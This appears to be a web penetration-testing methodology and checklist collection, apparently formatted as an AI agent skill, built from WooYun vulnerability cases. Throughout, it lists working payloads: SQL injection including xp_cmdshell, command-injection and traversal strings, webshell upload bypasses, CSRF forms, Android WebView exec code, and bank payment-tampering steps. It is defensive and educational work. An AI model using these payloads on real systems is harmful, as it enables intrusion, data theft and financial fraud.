Wooyun Legacy

WooYun Vulnerability Analysis Knowledge Base

Methodology and testing patterns extracted from 88,636 real-world vulnerability cases reported to the WooYun platform (2010-2016).

---

When to Use

All testing described here must be performed only against systems you

have written authorization to test.

• Penetration testing web applications
• Security code review (server-side or client-side)
• Vulnerability research against web targets you have explicit authorization to test
• Building security test cases or checklists
• Assessing web application attack surface
• Reviewing remediation effectiveness
• Training or education in authorized security testing contexts

When NOT to Use

• Network infrastructure testing (firewalls, routers, switches)
• Mobile application binary analysis
• Malware analysis or reverse engineering
• Compliance-only assessments (PCI-DSS, SOC2 checklists without testing)
• Physical security assessments
• Social engineering campaigns
• Cloud infrastructure misconfigurations (IAM, S3 buckets) — these

require cloud-specific tooling, not web vuln patterns

Rationalizations to Reject

These shortcuts lead to missed findings. Reject them:

• "The WAF will catch it" — WAFs are bypass-able; test the application

logic, not the middleware

• "It's an internal app, so auth doesn't matter" — internal apps get

compromised via SSRF, lateral movement, and credential reuse

• "We already use parameterized queries everywhere" — check for ORM

misuse, stored procedures with dynamic SQL, and second-order injection

• "The framework handles XSS" — template engines have raw output modes,

JavaScript contexts bypass HTML encoding, and DOM XSS lives entirely client-side

• "File uploads are safe because we check the extension" — extension

checks are bypassed via null bytes, double extensions, parser discrepancies, and race conditions

• "We validate on the frontend" — client-side validation is a UX

feature, not a security control

• "Nobody would guess that URL" — security through obscurity fails

against directory bruteforcing, referrer leaks, and JS source analysis

• "Low severity, not worth reporting" — low-severity findings chain

into critical attack paths

---

Core Mental Model

Vulnerability = Expected Behavior - Actual Behavior
             = Developer Assumptions + Attacker Input -> Unexpected State

Analysis chain:
1. Where does data come from?  (Input sources)
   -> GET/POST/Cookie/Header/File/WebSocket
2. Where does data flow?       (Data path)
   -> Validation -> Processing -> Storage -> Output
3. Where is data trusted?      (Trust boundaries)
   -> Client / Server / Database / OS / External service
4. How is data processed?      (Processing logic)
   -> Filter / Escape / Validate / Execute
5. Where does data end up?     (Output sinks)
   -> HTML / SQL / Shell / Filesystem / Log / Email

---

Attack Surface Mapping

              +-------------------------------------------+
              |         Application Attack Surface         |
              +-------------------------------------------+
                                  |
          +-----------------------+-----------------------+
          |                       |                       |
     +----v----+            +-----v-----+           +-----v-----+
     |  Input  |            | Processing|           |  Output   |
     +---------+            +-----------+           +-----------+
     | GET     |            | Input     |           | HTML page |
     | POST    |    ->      | validation|    ->     | JSON resp |
     | Cookie  |            | Biz logic |           | File DL   |
     | Headers |            | DB query  |           | Error msg |
     | File    |            | File op   |           | Log entry |
     | Upload  |            | Sys call  |           | Email     |
     +---------+            +-----------+           +-----------+

---

SQL Injection

Cases: 27,732 | Reference: sql-injection.md | Checklist: sql-injection-checklist.md

High-risk parameters: id, sort_id, username, password, search, keyword, page, order, cat_id

Injection point detection:

• String terminators: ' " ) ') ") -- # /*
• DB fingerprint: @@version (MSSQL), version() (MySQL),

v$version (Oracle)

Bypass techniques:

• Whitespace: /**/ %09 %0a ()
• Keywords: SeLeCt sel%00ect /*!select*/
• Equals: LIKE REGEXP BETWEEN IN
• Quotes: 0x hex, char(), concat()

Core defense: parameterized queries (PreparedStatement / ORM binding).

---

Cross-Site Scripting (XSS)

Cases: 7,532 | Reference: xss.md | Checklist: xss-checklist.md

Output points: user profile fields (nickname, bio), search reflections, file metadata (filename, alt text), email content (subject, body)

Bypass techniques:

• Tag mutation: <ScRiPt> <script/x> <script\n>
• Event handlers: onerror onload onmouseover onfocus
• Encoding: HTML entities, JS Unicode, URL encoding
• Protocol handlers: javascript: data: vbscript:

Core defense: context-aware output encoding + Content Security Policy.

---

Command Execution

Cases: 6,826 | Reference: command-execution.md | Checklist: command-execution-checklist.md

Entry points: system command wrappers (ping, traceroute, nslookup), file operations (compress, decompress, image processing), code eval (eval, assert, preg_replace(/e)), framework vulnerabilities (Struts2, WebLogic, JBoss)

Command chaining:

• Linux: ; | || && \ $()`
• Windows: & | || &&

Bypass techniques:

• Whitespace: ${IFS} $IFS$9 %09 < <>
• Keywords: ca\t ca''t c$@at /???/??t
• Encoding: $(printf "\x63\x61\x74"),

` echo Y2F0|base64 -d `

Core defense: avoid shell invocation; use execFile over exec, allowlist acceptable inputs.

---

File Upload

Cases: 2,711 | Reference: file-upload.md | Checklist: file-upload-checklist.md

Bypass detection:

• Client-side validation: modify JS or send request directly
• Content-Type: image/gif header + PHP code body
• Extension: .php5 .phtml .pht .php. .php::$DATA
• Content inspection: GIF89a + <?php or image-based webshell
• Parser discrepancy: /upload/1.asp;.jpg (IIS 6.0)

Parser-specific vulnerabilities:

• IIS 6.0: /test.asp/1.jpg, test.asp;.jpg
• Apache: .php.xxx (unknown extension fallback)
• Nginx: /1.jpg/1.php (cgi.fix_pathinfo)
• Tomcat: test.jsp%00.jpg

Core defense: allowlist extensions, rename uploads, store outside webroot, validate content type server-side.

---

Path Traversal

Cases: 2,854 | Reference: path-traversal.md | Checklist: path-traversal-checklist.md

High-risk parameters: file, path, filename, url, dir, template, page, include, download

Traversal payloads:

• Basic: ../../../etc/passwd
• Encoded: %2e%2e%2f, ..%252f, %c0%ae%c0%ae/
• Null byte: ../../../etc/passwd%00.jpg
• Windows: ..\..\..\windows\win.ini

Target files (Linux): /etc/passwd, /etc/shadow, /proc/self/environ, /var/log/apache2/access.log

Core defense: resolve canonical paths, validate against allowlisted directories, never use user input in file paths directly.

---

Unauthorized Access

Cases: 14,377 | Reference: unauthorized-access.md | Checklist: unauthorized-access-checklist.md

Access types:

• Admin panel exposure: /admin, /manager, /console
• API without authentication: missing token validation, predictable

tokens

• Exposed services: Redis (6379), MongoDB (27017),

Elasticsearch (9200), Memcached (11211), Docker (2375)

• IDOR: horizontal privilege escalation via ID enumeration

Core defense: authentication + authorization on every endpoint, session management, principle of least privilege.

---

Information Disclosure

Cases: 7,337 | Reference: info-disclosure.md | Checklist: info-disclosure-checklist.md

Disclosure sources: error messages with stack traces, exposed .git or .svn directories, backup files (.bak, .sql, .tar.gz), configuration files, debug endpoints, directory listings

Core defense: custom error pages, disable directory listing, remove debug endpoints in production, audit publicly accessible files.

---

Business Logic Flaws

Cases: 8,292 | Reference: logic-flaws.md | Checklist: logic-flaws-checklist.md

Vulnerability patterns:

• Password reset: verification code in response body, step skipping,

controllable reset tokens

• Authorization bypass: horizontal (ID enumeration), vertical (role

escalation)

• Payment logic: amount tampering, quantity manipulation, coupon

stacking

• CAPTCHA: not refreshed, reusable, brute-forceable, client-side only

Testing approach: 1. Map the business flow -> draw state transition diagram 2. Identify critical checks -> which parameters determine outcomes 3. Attempt bypass -> modify parameters / skip steps / replay / race 4. Verify impact -> prove the scope of harm

Core defense: server-side validation of all business-critical logic.

---

Additional Categories

These categories are derived from case data without full reference documents. Each has a testing checklist extracted from real cases.

Note: The RCE checklist covers deserialization, OGNL injection, and

framework-specific remote code execution — distinct from the OS command

injection focus of the Command Execution reference above.

---

Methodology Case Studies

Real-world penetration testing methodology examples (anonymized):

These demonstrate how individual vulnerabilities chain together into full compromise scenarios.

---

Testing Priority Framework

High Priority (test first)

1. SQL Injection — direct data access, highest case count (27,732) 2. Command Execution — OS-level compromise 3. File Upload — arbitrary code execution via webshell

Medium Priority

4. Unauthorized Access — second-highest case count (14,377) 5. Business Logic Flaws — application-specific, hard to automate 6. XSS — session hijacking, phishing

Lower Priority (but still important)

7. Path Traversal — file read, sometimes write 8. Information Disclosure — reconnaissance value, enables chaining 9. CSRF/SSRF/XXE — context-dependent severity

---

Defense Quick Reference

---

Key Insight

All 88,636 vulnerabilities in this database share a common root cause: the gap between what developers assumed and what attackers actually provided. Effective security testing means systematically challenging every assumption at every trust boundary.

Four principles from the data: 1. Boundary thinking — all vulnerabilities occur at trust boundaries 2. Data flow tracing — follow data from input to output completely 3. Assumption challenging — question every "obvious" validation 4. Chain composition — individual low-severity findings combine into critical attack paths

Banking Penetration Testing Methodology

This case study is anonymized and presented for educational purposes in authorized security testing contexts only.

Based on analysis of 22,132 real WooYun cases

1. Banking Attack Surface Layered Model

┌─────────────────────────────────────────────────────────────────────────┐
│                     Layer 1: Internet Boundary                          │
├─────────────────────────────────────────────────────────────────────────┤
│  Online Banking │ Mobile Banking │ WeChat Banking │ Direct Banking │    │
│  Credit Card Center │ Official Site / Campaign Pages                   │
└─────────────────────────────────────────────────────────────────────────┘
                                    │
                                    |
┌─────────────────────────────────────────────────────────────────────────┐
│                   Layer 2: Interface / Channel Layer                     │
├─────────────────────────────────────────────────────────────────────────┤
│  Payment Interface │ Card Network Channel │ Quick Pay │ Direct Debit │  │
│  Aggregated Payment │ Open Banking API                                 │
└─────────────────────────────────────────────────────────────────────────┘
                                    │
                                    |
┌─────────────────────────────────────────────────────────────────────────┐
│                     Layer 3: Internal Systems Layer                      │
├─────────────────────────────────────────────────────────────────────────┤
│  Core Banking │ Loan System │ Risk Control │ AML │ CRM │ Reporting     │
└─────────────────────────────────────────────────────────────────────────┘

2. High-Risk Vulnerability Types

Tier 1: Financial Vulnerabilities (68-88% High Severity)

Payment Vulnerability Detection (1,056 Cases)

Manual Testing Checklist:

1. Modify amount parameter: amount=0.01 (test server-side validation)
2. Modify quantity to negative: quantity=-1 (negative transfer)
3. Replay a successful payment request (test idempotency)
4. Concurrent submission of the same order (race condition)
5. Modify payee account/user ID (unauthorized transfer)
6. Tamper with callback notification (forge payment success)

Key Parameters:

• amount / price / total -> Amount fields
• to_account / payee_id -> Payee
• sign / signature -> Signature

Bypass Techniques:

Negative value attack: Transfer amount = -1000
Decimal overflow: amount = 0.001
Race condition: Multi-threaded concurrent transfers
Status tampering: Modify status=SUCCESS
Signature bypass: Delete/empty the signature field

Tier 2: Authentication and Authorization

3. Banking-Specific Attack Surfaces

1. Mobile Banking App Security

Client-Side Security
├── Anti-decompilation protection (hardening strength)
├── Local storage (sensitive information)
├── Log leakage
└── Certificate validation (SSL Pinning)

Communication Security
├── Encryption algorithms (hardcoded keys)
├── Request signing (algorithm reverse engineering)
└── Replay attacks

Business Logic
├── Login authentication (password/fingerprint/face)
├── Transaction verification
└── Transfer limits

App Penetration Approach:

1. Packet capture: Bypass SSL Pinning (Frida/Objection)
2. Reverse engineering: Unpack -> Signing algorithm reversal -> Key extraction
3. Hook testing: Bypass face/fingerprint verification, modify limit checks

2. Online Banking Systems

Attack approach:
├── ActiveX control vulnerabilities
├── Frontend encryption bypass (JS reverse engineering)
├── Password control bypass
├── USB token driver vulnerabilities
├── Bulk transfer interface authorization bypass
└── Statement/receipt unauthorized download

3. Third-Party Payment Interfaces

Attack points:
├── Merchant key leakage (GitHub search)
├── Callback signature verification flaws
├── Async notification replay
├── Amount validation missing
└── Merchant ID authorization bypass

4. Verification Bypass Techniques

SMS Verification Code

├── Brute force (4-6 digits, feasible)
├── Concurrency (bypass attempt limits)
├── Reuse (same code used multiple times)
├── Echo (code returned in response)
└── Universal codes (0000/1234)

Facial Recognition

├── Photo attack
├── Video attack
├── Hook return values
├── Interface replay
└── Replace facial data

Transaction Signatures

├── Hardcoded signing key
├── Critical fields not signed
├── Signature verification optional
└── Signature downgrade attack

5. Penetration Paths

Path 1: External Web Breach

Information gathering -> Subdomains/Ports/Fingerprinting
    |
Vulnerability exploitation (priority order):
├── 1. Weak credential brute force
├── 2. Struts2/WebLogic RCE
├── 3. Business logic vulnerabilities
└── 4. File upload / SQL injection

Path 2: Mobile Endpoint Breach

Static analysis -> Decompile, key search, API extraction
Dynamic analysis -> Bypass Pinning, packet capture, Hook
Business testing -> Login/Transfer/Password reset

Path 3: Supply Chain Attack

Outsourcing company -> Code/environment leakage
Equipment vendor -> Preset accounts
Service provider -> SMS/identity verification

6. High-Value Targets

7. Practical Checklist

Information Gathering

• [ ] Subdomain enumeration
• [ ] GitHub code leakage search
• [ ] App download and analysis
• [ ] WeChat official account / mini-program interface discovery

Vulnerability Detection

• [ ] Weak credential testing
• [ ] Business logic (payment/transfer/password reset)
• [ ] Authorization bypass testing
• [ ] Interface security (signing/encryption)
• [ ] App client-side security

Deep Exploitation

• [ ] Payment amount tampering
• [ ] Verification code bypass
• [ ] Facial recognition bypass
• [ ] Concurrent race conditions

---

Reference methodologies:

• See {baseDir}/references/logic-flaws.md (payment tampering, authorization bypass) and {baseDir}/references/sql-injection.md (injection techniques) for related methodology.

Representative case patterns:

• A major bank's system vulnerability leading to shell access (affecting third-party payment integrations)
• An education platform leading to a foundation system (allowing donation amount tampering)

Command Execution Testing Checklist

Derived from 57 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Attack Pattern Distribution

Vulnerability Sources (ranked by frequency)

1. Apache Struts2 OGNL Injection (~45% of cases)

The single most common command execution vector in the dataset.

• S2-045, S2-046, S2-048, S2-052 and related CVEs
• Targets: .action and .do URL endpoints
• Detection: Look for struts2 in response headers or URL patterns

Test indicators:

/login.action
/index.do
/upload.action
Content-Type: %{...}  (S2-045)

2. Java Deserialization (~20% of cases)

• JBoss JMXInvokerServlet / EJBInvokerServlet
• WebLogic T3 protocol
• Jenkins CLI
• Spring Framework

Test endpoints:

/invoker/JMXInvokerServlet
/invoker/EJBInvokerServlet
/jmx-console/
/web-console/

3. Middleware Misconfiguration (~15% of cases)

• JBoss default deployment consoles
• Resin admin panel exposed
• WebLogic console with default credentials
• Tomcat manager with weak auth

4. Application-Level Command Injection (~10% of cases)

• SAP systems: EXECUTE_CMD;CMDLINE=cmd.exe%20/c%20...
• Network management tools with ping/traceroute functions
• Monitoring systems executing OS commands

5. PHP Code Execution (~10% of cases)

• eval() with user-controlled input
• Unsafe unserialize()
• Template injection

Common Exploitation Payloads

Struts2 OGNL

%{(#context['com.opensymphony.xwork2.dispatcher.
  HttpServletResponse'].getWriter().println('test'))}

redirect:${#context...}

JBoss Deserialization

POST /invoker/JMXInvokerServlet HTTP/1.1
[serialized Java object payload]

OS Command Chaining

; whoami
| cat /etc/passwd
`id`
$(whoami)

Quick Test Vectors

1. Identify framework: Look for .action/.do URLs (Struts2)
2. Check /invoker/JMXInvokerServlet (JBoss deser)
3. Check /jmx-console/ (JBoss misconfiguration)
4. Check management ports: 8080, 9090, 4848
5. Test Struts2: Content-Type manipulation
6. Test command injection: ; whoami | id `id`
7. Check resin-admin, /manager/html (middleware consoles)

High-Value Targets

• Government systems: Frequently running outdated Struts2
• Financial/banking systems: Legacy Java middleware
• Telecom infrastructure: JBoss-based management platforms
• Enterprise OA systems: SAP, Oracle middleware
• CDN/infrastructure nodes: Internal management consoles

Root Causes

CSRF Testing Checklist

Derived from ~30 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns

1. No token validation (most common) - State-changing requests lack CSRF tokens entirely 2. GET-based state changes - Follow, post, profile edit via GET requests exploitable with <img> tags 3. Decorative tokens - Token present in form but server never validates it 4. Missing Referer check - No origin verification on POST requests 5. Token not bound to session - Any valid token works for any user 6. OAuth binding CSRF - Third-party account binding lacks state parameter

High-Impact CSRF Targets

• Password/email change (account takeover chain)
• OAuth account binding (hijack via CSRF)
• Admin panel operations (password change without old password verification)
• Payment address modification
• Social actions (follow, post, comment) for worm propagation

Bypass Techniques

• GET fallback: POST endpoints that also accept GET requests
• Referer stripping: Use <meta name="referrer" content="no-referrer">
• Subdomain trust: Referer check only validates partial domain match
• Flash/XMLHttpRequest: Cross-origin requests with withCredentials: true
• Token reuse: Same token valid across sessions or users

Quick Test Vectors

<!-- Basic form auto-submit -->
<form action="TARGET_URL" method="POST" id="csrf">
  <input type="hidden" name="param" value="value"/>
</form>
<script>document.getElementById('csrf').submit();</script>

<!-- GET-based via image tag -->
<img src="https://target.com/action?param=value"/>

<!-- XMLHttpRequest with credentials -->
<script>
var x = new XMLHttpRequest();
x.open("POST", "TARGET_URL", true);
x.withCredentials = true;
x.setRequestHeader("Content-Type",
  "application/x-www-form-urlencoded");
x.send("param=value");
</script>

Testing Methodology

1. Identify all state-changing endpoints (POST and GET) 2. Check for CSRF tokens in requests 3. Remove/modify token and replay -- does it still succeed? 4. Check if GET method is accepted for POST endpoints 5. Test Referer header removal and spoofing 6. Verify token is bound to current session 7. Test OAuth flows for missing state parameter

Common Root Causes

• Developer trusts frontend to prevent duplicate submissions
• Token added to form HTML but never validated server-side
• Reliance on Referer header (easily stripped)
• GET endpoints for state-changing operations
• No re-authentication for sensitive operations (password change)

File Upload Testing Checklist

Derived from 30 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Attack Pattern Distribution

Common Upload Bypass Techniques

1. Client-Side Only Validation (~35% of cases)

The most common flaw: JavaScript-only file type checks with no server-side validation.

• Bypass: Intercept request with proxy, change filename extension
• Bypass: Disable JavaScript and submit directly

2. Null Byte Truncation

shell.php%00.jpg        (PHP < 5.3.4)
shell.jsp%00.txt        (older Java containers)
shell.asp%00.jpg        (IIS + ASP)

3. Extension Bypass

.php5, .phtml, .pht     (PHP alternatives)
.jspx, .jspa, .jsw      (JSP alternatives)
.asp, .asa, .cer, .cdx   (ASP/IIS alternatives)
.aspx, .ashx, .asmx      (ASP.NET alternatives)

4. WAF Bypass via Extended ASCII

Append extended ASCII characters after the extension:

shell.php[0x7f]         (DEL character)
shell.php[0xcc]         (extended ASCII)
shell.php[0x88]         (extended ASCII)

Confirmed to bypass security products on Windows+Apache.

5. Content-Type Manipulation

Content-Type: image/jpeg    (while uploading .php)
Content-Type: image/gif     (with GIF89a header prepended)

6. Double Extension / Path Manipulation

shell.php.jpg            (Apache misconfiguration)
shell.jpg/.php           (Nginx parsing vulnerability)
../shell.php             (path traversal in filename)

Common Vulnerable Upload Endpoints

/upload.jsp
/excelUpload.jsp         (OA systems)
/uploadImageFile_do.jsp  (CMS systems)
/kindeditor/upload_json  (rich text editors)
/fckeditor/editor/filemanager/connectors/
/ueditor/controller      (UEditor)
/regist/expappend_file.jsp

Quick Test Vectors

1. Upload .php/.jsp file with valid image Content-Type
2. Upload file.php%00.jpg (null byte truncation)
3. Upload file.phtml / file.php5 (alternative extensions)
4. Upload with ../ in filename (path traversal)
5. Prepend GIF89a to PHP webshell (magic byte bypass)
6. Upload .htaccess to enable PHP execution in upload dir
7. Test double extension: file.php.jpg

Post-Upload Verification

• Determine upload path from response or predictable naming
• Check if uploaded file is directly accessible via HTTP
• Check if file extension is preserved or renamed
• Check if file content is re-processed (image resize strips code)

High-Value Targets

• OA/Enterprise systems: Excel/document upload features
• CMS admin panels: Image/file upload in content editors
• Government procurement systems: Attachment upload in bid submissions
• Hospital/edu systems: Document submission portals
• Rich text editors: FCKEditor, KindEditor, UEditor connectors

Root Causes

Information Disclosure Testing Checklist

Derived from ~56 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns (by frequency)

1. Source code/config exposure (most common)

• .svn/entries or .svn/wc.db accessible
• .git/config or .git/HEAD accessible
• Backup files: *.bak, *.sql, *.tar.gz, website.rar
• web.config, database.php, .env exposed

2. Log file exposure

• Application logs containing sessions, credentials
• Debug endpoints left enabled in production

3. API data over-exposure

• JSONP endpoints returning user data cross-origin
• API responses including more fields than UI displays
• Sequential ID enumeration on order/user endpoints

4. Database credential leak

• Config files with plaintext DB credentials
• Error messages revealing connection strings
• GitHub/code repository credential exposure

5. Session/credential leak

• Session tokens in log files
• Credentials in URL parameters (GET requests)
• Default management passwords in documentation

Source Control Exposure

Quick Test Vectors

# Source control files
/.svn/entries
/.svn/wc.db
/.git/config
/.git/HEAD
/.DS_Store

# Backup files
/backup.sql
/backup.tar.gz
/website.rar
/db.sql
/dump.sql
/*.bak

# Configuration files
/web.config
/wp-config.php
/config/database.yml
/application.properties
/.env
/phpinfo.php

# Log files
/logs/
/log/
/debug.log
/error.log
/seeyon/logs/ctp.log

# JSONP data leak
/api/userinfo?callback=test

# GitHub search for credentials
site:github.com "company.com" password
site:github.com "company.com" smtp

Testing Methodology

1. Enumerate common sensitive file paths (source control, backups, configs) 2. Check for directory listing on all discovered directories 3. Search GitHub/GitLab for organization credential leaks 4. Test JSONP endpoints for cross-origin data exposure 5. Check error pages for stack traces and config details 6. Probe log file locations for session/credential leakage 7. Test sequential ID enumeration on data endpoints 8. Check API responses for excessive data exposure 9. Scan for debug/admin endpoints left in production

Information Escalation Chain

Source code leak → Database credentials → Full database access
GitHub credential leak → Email access → VPN/internal access
Log file exposure → Session tokens → Account takeover
JSONP endpoint → User data → Credential stuffing

Common Root Causes

• Development files (.svn, .git) deployed to production
• Backup files stored in web-accessible directories
• Debug/logging features enabled in production
• JSONP endpoints without access control
• Error messages revealing internal details
• Credentials committed to public code repositories
• Default management interfaces left accessible

Logic Flaws Testing Checklist

Derived from ~85 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns (by frequency)

1. Arbitrary password reset (most common)

• Verification code leaked in response
• Short/numeric verification codes (4-digit) with no rate limiting
• Verification not bound to phone/account
• Client-side verification bypass (modify response)

2. Payment amount tampering

• Price sent in client request, not validated server-side
• Negative quantity to reduce total
• Race condition in cart/checkout flow

3. SMS/verification code abuse

• No rate limit on code sending (SMS bombing)
• No expiration on verification codes
• Code reuse across different operations

4. Authorization bypass (IDOR)

• Sequential user/order IDs enable enumeration
• Delete/modify operations lack ownership check

5. Client-side trust

• JavaScript validation only, no server-side check
• Response manipulation to bypass checks

Bypass Techniques

• Response tampering: Intercept and change server response (e.g., false to true)
• Verification code brute-force: 4-digit codes = 10,000 attempts, often no lockout
• Base64 encoded codes: Decode, enumerate, re-encode
• Negative values: Set quantity to -1 to create credit
• Step skipping: Jump directly to final step of multi-step process
• Parameter pollution: Submit same parameter twice with different values
• IP spoofing: X-Forwarded-For to bypass IP-based restrictions

Quick Test Vectors

# Password reset - verify code in response
1. Initiate reset, capture response
2. Check if verification code appears in JSON/HTML response

# Brute-force short verification codes
POST /verify?phone=TARGET&code=FUZZ
# Fuzz 0000-9999 with no rate limiting

# Payment tampering
# Original: amount=19900 (199.00)
# Modified: amount=1 (0.01)

# Negative quantity
# Original: count=1
# Modified: count=-1

# Skip verification step
# Go directly to /reset/step3 without completing step2

# Response manipulation
# Change {"result":"fail"} to {"result":"success"}

Testing Methodology

1. Map all multi-step flows (registration, password reset, payment) 2. Test each step independently -- can steps be skipped? 3. Check if verification codes appear in responses 4. Test rate limiting on verification endpoints 5. Attempt parameter tampering on price/quantity fields 6. Verify server-side validation matches client-side 7. Check IDOR on all endpoints with user/object IDs 8. Test for race conditions on balance/inventory operations

High-Impact Targets

• Password reset/recovery flows
• Payment and checkout processes
• SMS verification endpoints
• Account binding (email, phone, OAuth)
• Admin operations without re-authentication
• Coupon/discount redemption

Common Root Causes

• Verification logic in client-side JavaScript only
• Verification codes returned in API responses
• No rate limiting on authentication attempts
• Price/amount accepted from client without server-side recalculation
• Sequential predictable IDs without authorization checks
• Multi-step processes that don't validate completion of prior steps

Misconfiguration Testing Checklist

Derived from ~41 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Misconfiguration Categories

1. Exposed Management Interfaces

2. DNS Zone Transfer

# Test for DNS zone transfer
dig axfr @ns1.target.com target.com
dig axfr @ns2.target.com target.com
# Reveals all DNS records, internal hostnames, IP addresses

3. Directory Listing

• Web server directory indexing enabled
• Backup directories accessible (/backup/, /bak/)
• Upload directories browsable (/upload/, /uploads/)

4. Service Exposure (No Authentication)

5. IIS/Apache Specific

• IIS short filename disclosure (~1 enumeration)
• IIS write permission enabled (PUT method)
• Apache .htaccess bypass
• crossdomain.xml / clientaccesspolicy.xml overly permissive
• Server-status/server-info pages exposed

Quick Test Vectors

# Management interfaces
/console/
/manager/html
/jmx-console/
/admin/
/phpmyadmin/
/invoker/JMXInvokerServlet

# Configuration files
/web.xml
/web.config
/crossdomain.xml
/robots.txt
/sitemap.xml

# Debug/info endpoints
/phpinfo.php
/info.php
/server-status
/server-info
/.env

# DNS zone transfer
dig axfr @ns1.target.com target.com

# Service scan (common misconfig ports)
nmap -sV -p 21,873,2375,6379,8080,9200,11211,27017 TARGET

# FTP anonymous access
ftp TARGET  # try anonymous / anonymous@

# Rsync enumeration
rsync TARGET::
rsync TARGET::module_name/

Attack Escalation Paths

JBoss JMXInvokerServlet → Deploy WAR → Webshell → Internal network
Rsync anonymous → Source code → Database credentials → Data
FTP anonymous → web.config → DB credentials → SQL access
MongoDB no-auth → User data dump → Credential reuse
Redis no-auth → CONFIG SET dir → Write webshell
DNS zone transfer → Internal hostnames → Targeted attacks

Testing Methodology

1. Scan for common management interfaces and default ports 2. Test DNS zone transfer on all nameservers 3. Check for directory listing on web roots and common paths 4. Probe database/cache services for unauthenticated access 5. Test IIS-specific vulnerabilities (short names, write perms) 6. Check cross-domain policy files for overly broad access 7. Verify debug/info endpoints are disabled in production 8. Test FTP and Rsync for anonymous access 9. Check for default installation files and directories

Common Root Causes

• Management consoles bound to 0.0.0.0 instead of localhost
• Default installations not hardened post-deployment
• DNS servers allowing zone transfers to any requester
• Services deployed without authentication requirements
• Web server directory indexing enabled by default
• Debug features and info pages left in production
• Cross-domain policies set to wildcard (*)
• IIS write permissions not properly restricted

Path Traversal Testing Checklist

Derived from ~30 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Common Attack Patterns

1. Direct file read via download endpoints (most common) 2. Directory listing through misconfigured web servers 3. CMS-specific file read (phpCMS, SiteServer, Yxcms, FineCMS) 4. Backup file exposure via predictable paths 5. Configuration file leak (database.php, web.xml, web.config) 6. Null byte injection to bypass extension checks

Bypass Techniques

• ../ replaced with empty string? Use ....// or ..././
• Extension check? Use null byte: ../../etc/passwd%00.jpg
• Absolute path blocked? Try relative traversal
• Forward slash filtered? Try backslash on Windows: ..\..\..\
• URL encoding: %2e%2e%2f or double-encode %252e%252e%252f
• Browser vs curl: Some traversals only work via raw HTTP (not browser)

Quick Test Vectors

# Basic traversal
../../../etc/passwd
..\..\..\..\windows\win.ini

# Null byte bypass
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png

# Double-encoding
%252e%252e%252f%252e%252e%252fetc/passwd

# Filter bypass (double dots replaced)
....//....//....//etc/passwd
..././..././..././etc/passwd

# Java/Tomcat paths
/WEB-INF/web.xml
/WEB-INF/classes/
/META-INF/MANIFEST.MF

# Windows targets
..\..\..\..\windows\system32\drivers\etc\hosts

High-Value Target Files

Testing Methodology

1. Identify all file download/read endpoints 2. Map parameters that accept file paths or names 3. Test basic ../ traversal sequences (3-8 levels deep) 4. Attempt null byte injection for extension bypasses 5. Try encoding variations if basic traversal is filtered 6. Target configuration files for credential extraction 7. Check if directory listing is enabled on web roots 8. Test both GET and POST parameter variants

Common Root Causes

• file_get_contents($_GET['path']) without sanitization
• Download handlers that pass user input directly to filesystem
• Incomplete filtering (replacing ../ once instead of recursively)
• Extension validation via client-side or bypassable checks
• CMS file managers exposing parent directory navigation

Remote Code Execution (RCE) Testing Checklist

Derived from 11 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Attack Pattern Distribution

Vulnerability Categories

1. Android WebView Interface Exploitation (~35% of cases)

The most common RCE vector in this dataset targets mobile apps.

Mechanism: addJavascriptInterface() in Android WebView (pre-4.2) exposes Java objects to JavaScript, enabling java.lang.Runtime.exec().

Detection pattern:

// Scan for exposed interfaces
for (var obj in window) {
  if ("getClass" in window[obj]) {
    // Vulnerable interface found
  }
}

Exploitation:

function execute(cmdArgs) {
  return Navigator.getClass()
    .forName("java.lang.Runtime")
    .getMethod("getRuntime", null)
    .invoke(null, null)
    .exec(cmdArgs);
}
execute(["/system/bin/sh", "-c", "id"]);

2. Struts2 Remote Code Execution (~25% of cases)

Same as command execution but categorized under RCE.

• University and government systems running outdated Struts2
• .action endpoints with OGNL injection

3. Desktop Application Protocol Handlers (~15% of cases)

• Custom protocol schemes (e.g., bdbrowser://)
• IM client message handling leading to local file/command execution
• Auto-update mechanisms hijacked via MITM

4. Enterprise Software RCE (~15% of cases)

• SAGE ERP universal RCE
• ActiveX buffer overflow in client applications
• SourceForge-class platform vulnerabilities

5. Client-Side MITM to RCE (~10% of cases)

• Auto-update over HTTP (no HTTPS/signature verification)
• Attacker replaces update binary via network interception
• Affects desktop and mobile applications

Quick Test Vectors

1. Android apps: Check for addJavascriptInterface in APK
2. Web apps: Test .action/.do endpoints for Struts2
3. Desktop apps: Test custom protocol handlers
4. Auto-update: Check if updates use HTTPS + signature verification
5. Enterprise: Check exposed management consoles
6. Mobile: Test WebView for JavaScript bridge interfaces

High-Value Targets

• Mobile applications: Android apps with WebView bridges
• IM/messaging clients: Message rendering with code execution
• Desktop applications: Protocol handlers and auto-updaters
• Enterprise ERP systems: Server-side code execution
• Educational institution sites: Often running outdated frameworks

Root Causes

SQL Injection Testing Checklist

Derived from 234 real-world vulnerability cases (WooYun 2010-2016)

High-Risk Parameters to Test

Attack Pattern Distribution

Common Injection Techniques (by frequency)

1. Error-Based (most common)

' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x71,
  (SELECT user()),0x71,FLOOR(RAND(0)*2))x
  FROM information_schema.tables GROUP BY x)a)--

2. UNION-Based

' UNION SELECT 1,2,3,CONCAT(username,0x23,password)
  FROM admin_table--

UNION/**/SELECT/**/1/**/FROM(SELECT/**/COUNT(*),
  CONCAT((...),FLOOR(RAND(0)*2))a
  FROM information_schema.tables GROUP BY a)b

3. Time-Based Blind

'; WAITFOR DELAY '0:0:5'--         (MSSQL)
' AND SLEEP(5)--                    (MySQL)

4. Boolean-Based Blind

' AND 2020=2020 AND 'x'='x
' AND 1=1--
' AND 1=2--

5. Stacked Queries (MSSQL)

'; WAITFOR DELAY '0:0:5'--
'; EXEC xp_cmdshell('whoami')--

Bypass Techniques

• Comment injection: /**/ between SQL keywords to evade WAF
• Case variation: SeLeCt, uNiOn
• URL encoding: %27 for single quote, %20 for space
• Double encoding: %2527 for single quote
